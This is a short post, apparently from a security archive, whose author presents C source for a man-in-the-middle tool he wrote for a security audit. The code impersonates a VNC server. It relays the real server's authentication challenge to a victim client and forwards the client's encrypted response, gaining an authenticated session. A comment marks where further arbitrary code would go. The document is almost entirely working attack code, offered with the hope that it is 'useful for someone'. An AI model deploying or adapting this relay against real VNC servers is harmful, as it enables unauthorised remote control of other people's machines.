VNC Game implements a man in the middle attack which bypasses VNC's challenge/response authentication which keeps the password from being sniffed. Written for a security audit.
8f06f7aaf8e4a8adbc8c9291f22b9e98bf2898faf4a55825be8e888530e8eb56
This is one piece of code I used in a security audit.
In it, we got to fake entries in the DNS server of the machines
accessing one VNC server (inside the audited internal network), so I
just wrote this little troyan to demonstrate how we could bypass the
challenge - response mecanism imposed by VNC to protect password from
being sniffed.
I hope it can be useful for someone X-)
#include <netinet/in.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#define VNCPORT 5900
#define VNCSERVER "x.x.x.x"
#define QUEUE 8
#define BUFSIZ 512
typedef char rfbProtocolVersionMsg[13];
#define sz_rfbProtocolVersionMsg 12
int main (int argc, char **argv) {
int sockfd, clientfd, vncfd;
int nbytes = 0;
struct sockaddr_in server, client, vnc;
int len = sizeof (client);
char buf [BUFSIZ];
if ( (sockfd = socket (AF_INET, SOCK_STREAM, 0) ) == -1) {
perror ("socket");
exit (-1);
}
bzero (&server, sizeof (server) );
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl (INADDR_ANY);
server.sin_port = htons (VNCPORT);
/* this is the fake VNC server */
if (bind (sockfd, (struct sockaddr *) &server,
sizeof (server) ) == -1) {
perror ("bind");
exit (-1);
}
listen (sockfd, QUEUE);
if ( (clientfd = accept (sockfd,
(struct sockaddr *) &client, &len) ) == -1) {
perror ("accept");
exit (-1);
}
strcpy (buf, "RFB 003.003\n");
/* we must send VNC version number (from protocol) */
if (write (clientfd, buf, strlen (buf) ) < strlen (buf) ) {
perror ("write");
exit (-1);
}
/* we also must read VNC version number (from protocol) */
if ( (nbytes = read (clientfd, buf, BUFSIZ) ) <= 0) {
perror ("read");
exit (-1);
}
buf [nbytes] = 0;
printf ("version -> %s\n", buf);
buf [0] = 0x00;
buf [1] = 0x00;
buf [2] = 0x00;
buf [3] = 0x02;
/* we send the authentication method code to the client */
if (write (clientfd, buf, 4) < 4) {
perror ("write");
exit (-1);
}
if ( (vncfd = socket (AF_INET, SOCK_STREAM, 0) ) == -1) {
perror ("socket");
exit (-1);
}
bzero (&vnc, sizeof (vnc) );
vnc.sin_family = AF_INET;
vnc.sin_addr.s_addr = inet_addr (VNCSERVER);
vnc.sin_port = htons (VNCPORT);
/* we connect to the real VNC server */
if (connect (vncfd, (struct sockaddr *) &vnc,
sizeof (vnc) ) == -1) {
perror ("connect");
exit (-1);
}
/* again, we read version number from the VNC server */
if ( (nbytes = read (vncfd, buf, BUFSIZ) ) <= 0) {
perror ("read");
exit (-1);
}
strcpy (buf, "RFB 003.003\n");
/* and we send ours */
if (write (vncfd, buf, strlen (buf) ) < strlen (buf) ) {
perror ("write");
exit (-1);
}
/* we now read authenticarion method code from VNC server */
if ( (nbytes = read (vncfd, buf, BUFSIZ) ) <= 0) {
perror ("read");
exit (-1);
}
/* here is the challenge from server */
if ( (nbytes = read (vncfd, buf, BUFSIZ) ) <= 0) {
perror ("read");
exit (-1);
}
/* we send the challenge to the victim client */
if (write (clientfd, buf, 16) < 16) {
perror ("write");
exit (-1);
}
/* we have the encrypted password from the client */
if ( (nbytes = read (clientfd, buf, BUFSIZ) ) <= 0) {
perror ("read");
exit (-1);
}
/* we send the encrypted password to the VNC server */
if (write (vncfd, buf, 16) < 16) {
perror ("write");
exit (-1);
}
/* we read the result from the authentication process */
if (read (vncfd, buf, BUFSIZ) < 4) {
perror ("read");
exit (-1);
}
/* at this point we should be authenticated */
/* place whatever code you want here */
close (clientfd);
close (sockfd);
close (vncfd);
return 0;
}
------------------------------------------------------------
Rafael San Miguel Carrasco
rsmc@tid.es
Division de Infraestructura y Seguridad en Redes IP
Telefonica I+D
------------------------------------------------------------